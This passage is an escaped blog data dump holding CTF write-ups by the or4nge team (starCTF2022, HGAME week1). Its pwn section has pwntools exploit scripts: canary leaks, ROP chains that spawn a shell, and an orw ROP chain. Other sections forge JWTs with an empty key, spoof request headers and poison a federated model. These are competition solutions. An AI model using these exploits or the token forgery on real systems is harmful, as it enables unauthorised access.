(z \u0026gt;\u0026gt; 1) return res def xor(a, b): xor = \u0026#39;( ( %(a)s ) and ( ( %(b)s ) == 0 ) ) or ( ( %(b)s ) and ( ( %(a)s ) == 0 ) )\u0026#39; s = xor % {\u0026#39;a\u0026#39;: a, \u0026#39;b\u0026#39;: b} return s def xor3(a, b, c): temp = xor(a, b) return xor(temp, c) def xor4(a, b, c, d): temp = xor(a, b) temp2 = xor(c, d) return xor(temp, temp2) def f(n): if n == 1: return 0 else: return 1 BCHcode = [\u0026#34;\u0026#34; for i in range(15)] BCHcode[0] = C0 BCHcode[1] = C1 BCHcode[2] = C2 BCHcode[3] = C3 BCHcode[4] = xor(C0, C4) BCHcode[5] = xor(C1, C5) BCHcode[6] = xor3(C0, C2, C6) BCHcode[7] = xor3(C0, C1, C3) BCHcode[8] = xor4(C0, C1, C2, C4) BCHcode[9] = xor4(C1, C2, C3, C5) BCHcode[10] = xor4(C2, C3, C4, C6) BCHcode[11] = xor3(C3, C4, C5) BCHcode[12] = xor3(C4, C5, C6) BCHcode[13] = xor(C5, C6) BCHcode[14] = C6 context(os=\u0026#34;linux\u0026#34;,log_level=\u0026#39;debug\u0026#39;) p=remote(\u0026#34;124.71.145.24\u0026#34;,60002) p.recvuntil(\u0026#34;sha256(xxxx+\u0026#34;) leave=p.recv(16).decode() print(leave) p.recvuntil(\u0026#34;== \u0026#34;) sha256=p.recv(64).decode() print(sha256) pd=0 for i in range(32,127): for j in range(32,127): for k in range(32,127): for m in range(32,127): strings = chr(i) + chr(j) + chr(k) + chr(m) + leave s = hashlib.sha256() s.update(strings.encode()) b = s.hexdigest() if b == sha256: key=chr(i) + chr(j) + chr(k) + chr(m) print(key) pd=1 break if pd==1: break if pd==1: break if pd==1: break p.send(key) for la in range(50): bits = [0]*15 res=0 res2=0 for i in range(15): p.sendlineafter(\u0026#34;Ask Patches:\u0026#34;,BCHcode[i]) p.recvuntil(\u0026#34;Patches answers: \u0026#34;) recvbool=p.recv(1) if recvbool==b\u0026#39;T\u0026#39;: bits[i]=1 print(bits) for i in range(15): if bits[i]==1: res^=1\u0026lt;\u0026lt;i res2^=1\u0026lt;\u0026lt;(3*i) pd = 0 for i in range(16): for j in range(16): if i != 15: bits[i] = f(bits[i]) if j != 15: bits[j] = f(bits[j]) res = 0 res2 = 0 for k in range(15): if bits[k] == 1: res ^= 1 \u0026lt;\u0026lt; k res2 ^= 1 \u0026lt;\u0026lt; (3 * k) _, mod = GFDiv(res, 19) _, mod2 = GFDiv(res2, 4681) if mod == 0 and mod2 == 0: pd = 1 break else: if i != 15: bits[i] = f(bits[i]) if j != 15: bits[j] = f(bits[j]) if pd == 1: break res = 0 for i in range(15): if bits[i] == 1: res ^= 1 \u0026lt;\u0026lt; i C, _ = GFDiv(res, 465) print(bin(C)) pay = \u0026#34;\u0026#34; print(_) for i in range(7): pay += str(C % 2) + \u0026#34; \u0026#34; C //= 2 pay=pay.strip() p.sendlineafter(\u0026#34;Now open the chests:\u0026#34;,pay) p.interactive() Misc babyFL 联邦学习，我们能控制20个客户端，想办法用提交的参数数据污染掉服务端的训练过程让测试达到0.95精度即可，下面分别是exp、训练脚本\nimport numpy as np from pwn import * # context(log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#39;124.70.158.154\u0026#39;, 8081) def get_val(arr): if len(arr.shape) \u0026gt; 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l): arr[i] = float(input()) res = np.load(\u0026#39;./save/final.npy\u0026#39;, allow_pickle=True) # for i in range(8): # mtx = res[i][0] * 1000 # try: # for j in mtx: idx = 0 mtx = res[0][0] * 1000 for i in mtx: for j in i: for k in j: for l in k: p.sendline(str(l).encode()) idx += 1 mtx = res[1][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[2][0] * 1000 for i in mtx: for j in i: for k in j: for l in k: p.sendline(str(l).encode()) idx += 1 mtx = res[3][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[4][0] * 1000 for i in mtx: for j in i: p.sendline(str(j).encode()) idx += 1 mtx = res[5][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[6][0] * 1000 for i in mtx: for j in i: p.sendline(str(j).encode()) idx += 1 mtx = res[7][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 print(idx) import os import traceback import numpy as np from tensorflow.keras import Sequential from tensorflow.keras.layers import Dense, Conv2D, Flatten, MaxPooling2D from tensorflow import keras from tensorflow.keras.models import load_model from tensorflow.keras.datasets import mnist participant_number = 20 def new_model(): model = Sequential() model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1))) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(20, (3, 3))) model.add(Flatten()) model.add(Dense(units=100, activation=\u0026#39;relu\u0026#39;)) model.add(Dense(units=10, activation=\u0026#39;softmax\u0026#39;)) model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=[\u0026#39;accuracy\u0026#39;], optimizer=keras.optimizers.Adam(lr=0.001)) return model def load_test_data(): (_, _), (x, y) = mnist.load_data() l = len(y) for i in range(l): y[i] = 9 - y[i] x = x.reshape(-1, 28, 28, 1) return x, y def train_models(): (x, y), (_, _) = mnist.load_data() x = x.reshape(-1, 28, 28, 1) for i in range(participant_number): model = new_model() model.fit(x, y, batch_size=64, epochs=10) model.save(\u0026#34;./model/\u0026#34;+str(i)) def aggregation(parameters): print(\u0026#39;aggregation\u0026#39;) weights = [] for layer in parameters: sum = 0 l = len(layer) for temp in layer: sum = sum + temp weights.append(sum / l) # weights.append(layer[2]) model = new_model() l = len(model.get_weights()) model.set_weights(weights) return model def test(model): print(\u0026#39;test\u0026#39;) my_x, my_y = load_test_data() loss, acc = model.evaluate(my_x, my_y, batch_size=64) print(loss, acc) if acc \u0026gt; 0.95: f = open(\u0026#39;./flag\u0026#39;) print(f.read()) else: print(\u0026#34;you fail\u0026#34;, acc) def load_parameters(): print(\u0026#39;load parameter\u0026#39;) parameters = [] models = [] for i in range(participant_number): models.append(load_model(\u0026#34;./inv_model/\u0026#34;+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer) return parameters def load_parameters1(): print(\u0026#39;load parameter1\u0026#39;) parameters = [] models = [] for i in range(participant_number): models.append(load_model(\u0026#34;./model/\u0026#34;+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer) return parameters def get_val(arr): if len(arr.shape) \u0026gt; 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l): arr[i] = float(input()) def get_input_parameter(parameters): print(\u0026#39;get input parameter\u0026#39;) res = np.load(\u0026#39;./save/final.npy\u0026#39;, allow_pickle=True) i = 0 for layer in parameters: input_weight = np.zeros(layer[0].shape) print(\u0026#34;next layer:\u0026#34;) # get_val(input_weight) input_weight = res[i][0] * 1000 layer.append(input_weight) i += 1 return parameters # 8 * 20 * (3 * 3 * 1 * 10) if __name__ == \u0026#39;__main__\u0026#39;: parameters1 = load_parameters1() np.save(\u0026#39;./save/final\u0026#39;, parameters1) # model1 = aggregation(parameters1) # test(model1) # parameters2 = load_parameters() # np.save(\u0026#39;./save/final2\u0026#39;, parameters2) # model2 = aggregation(parameters2) # test(model2) # print(len(parameters)) # print(parameters) parameters = load_parameters() # np.save(\u0026#39;./save/final\u0026#39;, parameters) parameters = get_input_parameter(parameters) model = aggregation(parameters) test(model) Today 根据题目信息推测出在上海，通过一家农夫生鲜水果店，找到对面的小区，在地图评论区找到flag\n","date":"2022-04-18T15:03:17+08:00","image":"https://or4ngesec.github.io/post/starctf2022-writeup-by-or4nge/cover_hu1b2e905ab849912933a39ffac9637886_354329_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/starctf2022-writeup-by-or4nge/","title":"starCTF2022 Writeup by or4nge"},{"content":"week1 [Web]Fujiwara Tofu Shop By SSGSS\n一个个改请求头就 ok\nGET / HTTP/1.1 Host: game.summ3r.top User-Agent: Hachi-Roku Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Gasoline: 100 Cookie: flavor=Raspberry; Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Referer: qiumingshan.net X-Real-IP: 127.0.0.1 [Web]Tetris plus By SSGSS\n一个个翻 js，长度最长的那个用 js 运行一下就是 flag\n[Web]蛛蛛\u0026hellip;嘿嘿♥我的蛛蛛 By SSGSS\n爬虫题\nimport requests import re url = \u0026#39;https://hgame-spider.vidar.club/b7412bb0b0\u0026#39; now = \u0026#39;?key=M7H8z1oG%2B1SaPudvsDf7GEm%2F9hyalx2liQ6X2mBSz4iXDqmZwkyLTWPY02GWc5OZf%2F9zO73pRTg3XdoyjfgY3g%3D%3D\u0026#39; while True: r = requests.get(url + now) try: now = re.search(r\u0026#39;\\?key=.*?\u0026#34;\u0026#39;, r.text)[0][:-1] except: print(now) break 到最后一关查看 header 就有 flag\n[Web]easy_auth By SSGSS\n根据题目描述要 admin 登进去，阅读 app.js 代码发现是用 jwt 进行的身份认证，介于是 week1 的简单题，没必要想的那么复杂，先尝试把 algorithm 改成 None 后无效，那就爆弱口令密钥，网上找了个 top10000，脚本如下：\nimport jwt jwt_str = \u0026#39;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MzUwLCJVc2VyTmFtZSI6ImFkbWluJyBvciAxMDAwMD0xMDAwMCMiLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjoxNjQyNzMyMTQ1LCJpc3MiOiJNSmNsb3VkcyJ9._VVQjP4wTBYNes1cWiIaNTTidLwirfaFA9pnqsC-eQ8\u0026#39; fp = open(\u0026#39;弱口令top10000.txt\u0026#39;,\u0026#39;r\u0026#39;) for line in fp.readlines(): line = line.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) # print(line) try: jwt.decode(jwt_str, verify=True, key=line) print(line) print(len(line)) break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print(line) break except jwt.exceptions.InvalidSignatureError: continue 爆出来密钥为空，所以伪造 jwt:\ndict = {\u0026#34;ID\u0026#34;:1,\u0026#34;UserName\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;Phone\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Email\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;exp\u0026#34;:1642732145,\u0026#34;iss\u0026#34;:\u0026#34;MJclouds\u0026#34;} print(jwt.encode(dict, \u0026#39;\u0026#39;, algorithm=\u0026#39;HS256\u0026#39;)) 然后到控制台里把 token 改了就能拿 flag 了。localStorage.setItem('token',value)\n[Pwn]gdb By triplewings\n触发 gets 漏洞，拿到 shell from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) # p = remote(\u0026#34;chuj.top\u0026#34;, 50684) p = process(\u0026#34;./a.out\u0026#34;) p.recvuntil(b\u0026#34;word\u0026#34;) payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9) p.send(payload) p.recvuntil(b\u0026#34;\\x7f\u0026#34;) p.recv(2) canary = u64(p.recv(8)) print(hex(canary)) p.send(b\u0026#34;a\u0026#34;*24 + p64(canary) + b\u0026#34;a\u0026#34;*8 + p64(0x401256)) p.interactive() [Pwn]enter_the_pwn_land By triplewings\nbaby rop，改 puts from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./a.out\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 31470) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) pop_rdi = 0x0000000000401313 pop_rsi_r15 = 0x0000000000401311 puts_got = 0x404020 puts_plt = 0x401090 payload = b\u0026#34;a\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;a\u0026#34;*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b\u0026#34;\\n\u0026#34; # gdb.attach(p, \u0026#34;b *0x4011B6\u0026#34;) p.send(payload) p.recvuntil(b\u0026#34;\\n\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) sh = libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__() system = libc.sym[\u0026#39;execv\u0026#39;] payload2 = b\u0026#34;b\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;c\u0026#34;*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b\u0026#34;\\n\u0026#34; p.send(payload2) p.interactive() [Pwn]enter_the_evil_pwn_land By triplewings\n利用多线程 canary 和 tls 离 stack 近的特点覆盖 canary from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./a.out\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 31470) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) pop_rdi = 0x0000000000401313 pop_rsi_r15 = 0x0000000000401311 puts_got = 0x404020 puts_plt = 0x401090 payload = b\u0026#34;a\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;a\u0026#34;*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b\u0026#34;\\n\u0026#34; # gdb.attach(p, \u0026#34;b *0x4011B6\u0026#34;) p.send(payload) p.recvuntil(b\u0026#34;\\n\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) sh = libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__() system = libc.sym[\u0026#39;execv\u0026#39;] payload2 = b\u0026#34;b\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;c\u0026#34;*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b\u0026#34;\\n\u0026#34; p.send(payload2) p.interactive() [Pwn]oldfashion_orw By triplewings\nban 了 openat，用 getsdent64 读取目录，然后正常 orw from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;vuln\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 41765) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) # gdb.attach(p, \u0026#34;b *0x401311\u0026#34;) pop_rdi = 0x0000000000401443 pop_rsi_r15 = 0x0000000000401441 write_got = 0x404018 write_plt = 0x401080 main = 0x401311 leave = 0x4013DB read_plt = 0x4010A0 bss = 0x404060 + 0x100 payload = b\u0026#34;a\u0026#34;*40 + p64(0xffffffffffffffff) + p64(bss) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(main) p.send(payload) p.recvuntil(\u0026#34;done!\u0026#34;) payload2 = p32(main) + b\u0026#34;\\x00\u0026#34;*2 p.send(payload2) p.recvuntil(\u0026#34;size?\\n\u0026#34;) p.sendline(b\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) payload = b\u0026#34;a\u0026#34;*40 + p64(0xffffffffffffffff) + p64(bss-0x8) payload += p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(leave) + p64(main) p.send(payload) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;write\u0026#34;] print(hex(libc.address)) p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) libc_pop_rax = 0x000000000004a550 libc_pop_rax_rdx_rbx = 0x0000000000162865 libc_pop_rdx_r12 = 0x000000000011c371 libc_pop_rcx = 0x000000000009f822 payload = b\u0026#34;./\u0026#34; + b\u0026#34;\\x00\u0026#34;*14 + b\u0026#34;a\u0026#34;*0x18 + p64(0xffffffffffffffff) + b\u0026#34;a\u0026#34;*8 payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404130) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym[\u0026#34;alarm\u0026#34;] + 9) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(0x404280) + p64(0) payload += p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) payload += p64(libc_pop_rcx + libc.address) +p64(0x404280 + 0x200) payload += p64(libc.sym[\u0026#34;getdents64\u0026#34;]) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(0x404280) + p64(0) + p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) + p64(libc.sym[\u0026#34;write\u0026#34;]) + p64(main) p.send(payload) p.recvuntil(b\u0026#34;done\u0026#34;) p.recvuntil(b\u0026#34;flag\u0026#34;) tail = p.recv(20) # tail = b\u0026#34;a74248296b5d7f3d2b01\u0026#34; p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) payload = b\u0026#34;./flag\u0026#34; + tail + b\u0026#34;\\x00\u0026#34;*6 + b\u0026#34;a\u0026#34;*8 + p64(0xffffffffffffffff) + b\u0026#34;a\u0026#34;*8 payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404228) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym[\u0026#34;alarm\u0026#34;] + 9) payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(bss- 0xc0) + p64(0) + p64(libc.address+libc_pop_rdx_r12) + p64(0x100) + p64(0) payload += p64(libc.sym[\u0026#34;read\u0026#34;]) payload += p64(pop_rdi) + p64(1) + p64(libc.sym[\u0026#34;write\u0026#34;]) p.sendline(payload) p.interactive() [RE]easyasm By hidden\n考察8086汇编。\n汇编编写，不能f5；加密较为简单；了解代码段、数据段的知识，看懂段寄存器的对应（其实猜也才出来了），看懂加密的核心逻辑即可。\nt=[0x91, 0x61, 0x01, 0xc1, 0x41, 0xa0, 0x60, 0x41, 0x01, 0x21, 0x14, 0xc, 0xe2, 0x54, 0x20, 0xc1, 0xe2, 0x60, 0x14, 0x30, 0xd1, 0x51, 0xc0, 0x17] for j in range(len(t)): for i in range(256): if (((i\u0026lt;\u0026lt;4)%256+(i\u0026gt;\u0026gt;4))^0x17==t[j]): print (chr(i), end=\u0026#39;\u0026#39;) [RE]creakme By s0uthwood\nint __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int i; // esi unsigned int v5; // edi unsigned int v6; // ebx int v7; // esi int v8; // esi _DWORD v10[17]; // [esp+Ch] [ebp-8Ch] BYREF _BYTE v11[32]; // [esp+50h] [ebp-48h] char Arglist[32]; // [esp+70h] [ebp-28h] BYREF int v13; // [esp+90h] [ebp-8h] int v14; // [esp+94h] [ebp-4h] memset(Arglist, 0, sizeof(Arglist)); sub_40103A(\u0026#34;%s\u0026#34;, (char)Arglist); strcpy((char *)v10, \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\u0026#34;); v3 = 0; v14 = 0; for ( i = 0; i \u0026lt; 32; v14 = i ) { v5 = *(_DWORD *)\u0026amp;Arglist[i]; v6 = *(_DWORD *)\u0026amp;Arglist[i + 4]; v13 = 0; v7 = 32; do { v3 += 0x12345678; v5 += v3 ^ (v3 + v6) ^ (v10[2] + 16 * v6) ^ (v10[3] + (v6 \u0026gt;\u0026gt; 5)); v6 += v3 ^ (v3 + v5) ^ (v10[0] + 16 * v5) ^ (v10[1] + (v5 \u0026gt;\u0026gt; 5)); --v7; } while ( v7 ); v8 = v14; v3 = 0; *(_DWORD *)\u0026amp;Arglist[v14] = v5; *(_DWORD *)\u0026amp;Arglist[v8 + 4] = v6; i = v8 + 8; } *(_OWORD *)v11 = *(_OWORD *)dword_402180; *(_OWORD *)\u0026amp;v11[16] = dword_402170; while ( Arglist[v3] == v11[v3] ) { if ( ++v3 \u0026gt;= 32 ) { sub_40100C(\u0026#34;right!\u0026#34;, v10[0]); return 0; } } sub_40100C(\u0026#34;wrong!\u0026#34;, v10[0]); return 0; } 那一串字符串看似和 Base64 有关，其实加密就是 TEA\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decrypt (uint32_t* v, uint32_t* k) { uint32_t delta=0x12345678; uint32_t v0=v[0], v1=v[1], sum=delta * 32, i; uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; for (i=0; i\u0026lt;32; i++) { v1 -= sum ^ ((v0\u0026lt;\u0026lt;4) + k0) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k1); v0 -= sum ^ ((v1\u0026lt;\u0026lt;4) + k2) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k3); sum -= delta; } v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={1222194312u, 51123276u, 1391163586u, 3986482669u, 2921328102u, 3126465133u, 3482485930u, 1709241059u},k[4]={0x44434241,0x48474645,0x4c4b4a49,0x504f4e4d}; decrypt(v, k); decrypt(v + 2, k); decrypt(v + 4, k); decrypt(v + 8, k); printf(\u0026#34;%s\u0026#34;, v); return 0; } [RE]Flag Checker By s0uthwood\njeb 打开\npackage com.example.flagchecker; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.util.Base64; import android.view.View.OnClickListener; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class MainActivity extends AppCompatActivity { public static byte[] encrypt(String arg4, String arg5) throws Exception { SecretKeySpec v0 = new SecretKeySpec(arg5.getBytes(), 0, arg5.length(), \u0026#34;RC4\u0026#34;); Cipher v5 = Cipher.getInstance(\u0026#34;RC4\u0026#34;); v5.init(1, v0); return v5.doFinal(arg4.getBytes()); } @Override // android.support.v7.app.AppCompatActivity protected void onCreate(Bundle arg2) { super.onCreate(arg2); this.setContentView(0x7F09001C); // layout:activity_main ((Button)this.findViewById(0x7F070022)).setOnClickListener(new View.OnClickListener() { // id:button @Override // android.view.View$OnClickListener public void onClick(View arg4) { String v4 = ((EditText)MainActivity.this.findViewById(0x7F070036)).getText().toString(); // id:editTextTextPersonName byte[] v2 = new byte[0]; try { v2 = MainActivity.encrypt(v4, \u0026#34;carol\u0026#34;); } catch(Exception v4_1) { v4_1.printStackTrace(); } if(Base64.encodeToString(v2, 0).replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;).equals(\u0026#34;mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=\u0026#34;)) { Toast.makeText(MainActivity.this, \u0026#34;Congratulations!!!\u0026#34;, 1).show(); return; } Toast.makeText(MainActivity.this, \u0026#34;Fail,try again.\u0026#34;, 1).show(); } }); } } RC4 + Base64\nfrom base64 import * from Crypto.Cipher import ARC4 cipher = b64decode(b\u0026#39;mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=\u0026#39;) key = b\u0026#39;carol\u0026#39; rc4 = ARC4.new(key) rc4.decrypt(cipher) # b\u0026#39;hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}\u0026#39; [RE]猫头鹰是不是猫 By SSGSS\n总结一下快捷键：\nd改byte，dword，qword shift+e导出数据 y重新定义数据类型 *数组 看懂逻辑后，做个矩阵乘法求逆即可。\nint n=64; double a[66][66],b[66][66],c[66][130],f[64]; void gauss(double (*A)[130]) { for(int i=0;i\u0026lt;n;i++) { int k=i; for(int j=i+1;j\u0026lt;n;j++)if(A[j][i]\u0026gt;A[k][i])k=j; double del=A[k][i]; if(fabs(del=A[k][i])\u0026lt;eps)puts(\u0026#34;no\u0026#34;); for(int j=i;j\u0026lt;2*n;j++)swap(A[i][j],A[k][j]); for(int j=i;j\u0026lt;2*n;j++)A[i][j]/=del; for(int j=0;j\u0026lt;n;j++) if(j!=i) { del=A[j][i]; for(int k=i;k\u0026lt;2*n;k++)A[j][k]-=A[i][k]*del; } } } int main() { for(int i=0;i\u0026lt;n;i++) for(int j=0;j\u0026lt;n;j++){ a[i][j]=dword_4140[i*n+j]/10; b[i][j]=dword_8140[i*n+j]/10; } for(int i=0;i\u0026lt;n;i++) for(int j=0;j\u0026lt;n;j++) for(int k=0;k\u0026lt;n;k++)c[i][j]+=a[i][k]*b[k][j]; for(int i=0;i\u0026lt;n;i++)c[i][i+n]=1; gauss(c); for(int i=0;i\u0026lt;n;i++) for (int j=0;j\u0026lt;n;j++) f[i]+=ini[j]*c[j][i+n]; for(int i=0;i\u0026lt;n;i++) printf(\u0026#34;%c\u0026#34;,char(int(floor(f[i]+0.5)))); return 0; } [Crypto]Dancing Line [Crypto]Matryohska By NULLPointer\n下载压缩包，解压得到一个名为 Matryoshka.txt 的文件，里面的内容为 Braille（盲文）加密，使用盲文破解网站 https://unicode-table.com/cn/tools/braille/ 解密：\n此时发现解密得到的字符共有三种：-，/，和 ⠨，猜测下一层为 Morse 密码。用 . 替换 ⠨ 后使用Morse密码解密网站 https://www.bejson.com/enc/morse/ 得到：\n得到的字符串显然不是正确形式。注意到每两个字符由一个逗号间隔，而逗号的 Morse 编码为一段回文字符串 --..--。联想到题目中出现的“纸条背面”的提示，尝试将字符串倒转处理。此时逗号位置的 Morse 编码仍为 --..--。解码得到：\n发现是 Hex 编码，使用 Python 编写脚本解密得到一段 Base64 字符串：\nb =[0x46,0x66,0x42,0x75,0x66,0x45,0x46,0x6E,0x6D,0x4C,0x73,0x36,0x44,0x33,0x73,0x69,0x59,0x74,0x4C,0x36,0x58,0x32,0x70,0x34,0x69,0x4E,0x30,0x63,0x64,0x53,0x6C,0x79,0x6B,0x6D,0x39,0x72,0x51,0x4E,0x39,0x6F,0x4D,0x53,0x31,0x6A,0x6B,0x73,0x39,0x72,0x4B,0x32,0x52,0x36,0x6B,0x4C,0x38,0x68,0x6F,0x72,0x30,0x3D] flag = \u0026#34;\u0026#34; for i in b: flag += chr(i) print(flag) # \u0026#34;FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0=\u0026#34; 解码 Base64 时系统报错，说明得到的只是一个 Base64 形式的字符串。题目中的 “Caesar:21; Vigenère: hgame” 提示 flag 经历了偏移量为 21 的凯撒加密和 key 为 hgame 的维吉尼亚加密，因此编写脚本尝试破解，发现最终加密算法为：flag -\u0026gt; 22位栅栏 -\u0026gt; 21位凯撒 -\u0026gt; 密钥为 hgame 的维吉尼亚，逆向解密即可：\n//Vigenère #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;string.h\u0026gt; char key[105], sd[1005]; int main() { gets(key); gets(sd); int i,ptr; for(i=1;i\u0026lt;=strlen(key);i++) { if(key[i-1]\u0026gt;=65\u0026amp;\u0026amp;key[i-1]\u0026lt;=90) key[i-1]+=32; } ptr=1; for(i=1;i\u0026lt;=strlen(sd);i++) { if(sd[i-1]\u0026gt;=65\u0026amp;\u0026amp;sd[i-1]\u0026lt;=90) { if(sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;\u0026gt;=65) { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;; ptr++; } else { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;+26; ptr++; } } else if(sd[i-1]\u0026gt;=97\u0026amp;\u0026amp;sd[i-1]\u0026lt;=122) { if(sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;\u0026gt;=97) { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;; ptr++; } else { sd[i-1]=sd[i-1]-key[ptr-1]+\u0026#39;a\u0026#39;+26; ptr++; } } if(ptr\u0026gt;strlen(key)) { ptr=1; } } for(i=1;i\u0026lt;=strlen(sd);i++) { printf(\u0026#34;%c\u0026#34;,sd[i-1]); } } // \u0026#34;YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=\u0026#34; def 